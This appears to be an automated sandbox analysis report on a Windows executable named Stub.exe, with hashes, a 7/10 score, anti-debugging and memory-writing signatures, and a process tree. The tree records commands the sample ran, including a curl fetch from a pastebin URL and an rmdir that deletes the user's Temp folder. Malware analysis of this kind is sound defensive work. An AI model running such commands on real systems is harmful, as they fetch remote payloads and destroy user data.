Analysis
- max time kernel
71s - max time network
73s - platform
windows10-1703_x64 - resource
win10-20231215-en - resource tags
arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system - submitted
24/12/2023, 03:17
Behavioral task
behavioral1
Sample
Stub.exe
Resource
win10-20231215-en
4 signatures
150 seconds
General
- Target Stub.exe
- Size 13.8MB
- Sample231224-ds2c9secfm
- SHA256 2d6c58c043a319b7d9de60a16184a3cfdf1465b79771d27223acb2cac197851f
- MD5 894a60693fee38d4b64056cb10536a75
- SHA1 c427e45b0f7eb66583d2fb410ddb0c0e6196c0d6
- SHA512 8fdc9499bcd2fd8c1c0732db547e1560be3e889ba0a243b95ae03c0d5ed6e3229fcc35fcce736bcab9aff11692e4d3045471d227393a55379264b8f7a8bf87a5
- SSDEEP 393216:069fCksYPBDTr2L8zhgy8mTZ1fy68+dl+up4:0kuaBDTDd1uEl1
- MD5 SHA1 SHA512 SSDEEP
Score
7/10
Malware Config
Signatures
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resource yara_rule behavioral1/memory/3312-1-0x00007FF7CF4D0000-0x00007FF7D0EB2000-memory.dmp vmprotect behavioral1/memory/3312-3-0x00007FF7CF4D0000-0x00007FF7D0EB2000-memory.dmp vmprotect behavioral1/memory/3312-5-0x00007FF7CF4D0000-0x00007FF7D0EB2000-memory.dmp vmprotect - Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
pid Process 3312 Stub.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3312 Stub.exe 3312 Stub.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 3312 wrote to memory of 1912 3312 Stub.exe 75 PID 3312 wrote to memory of 1912 3312 Stub.exe 75 PID 3312 wrote to memory of 4700 3312 Stub.exe 79 PID 3312 wrote to memory of 4700 3312 Stub.exe 79 PID 3312 wrote to memory of 1728 3312 Stub.exe 78 PID 3312 wrote to memory of 1728 3312 Stub.exe 78 PID 3312 wrote to memory of 3896 3312 Stub.exe 76 PID 3312 wrote to memory of 3896 3312 Stub.exe 76 PID 3312 wrote to memory of 2044 3312 Stub.exe 77 PID 3312 wrote to memory of 2044 3312 Stub.exe 77
Processes
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C:\Users\Admin\AppData\Local\Temp\Stub.exe"C:\Users\Admin\AppData\Local\Temp\Stub.exe"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3312 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c title if this title changes the loader has successfully streamed!2⤵PID:1912
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c curl -L --output -2⤵PID:3896
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵PID:2044
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c curl -L https://pastebin.com/raw/kR7pQtnA2⤵PID:1728
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c rmdir /S /Q %USERPROFILE%\AppData\Local\Temp2⤵PID:4700
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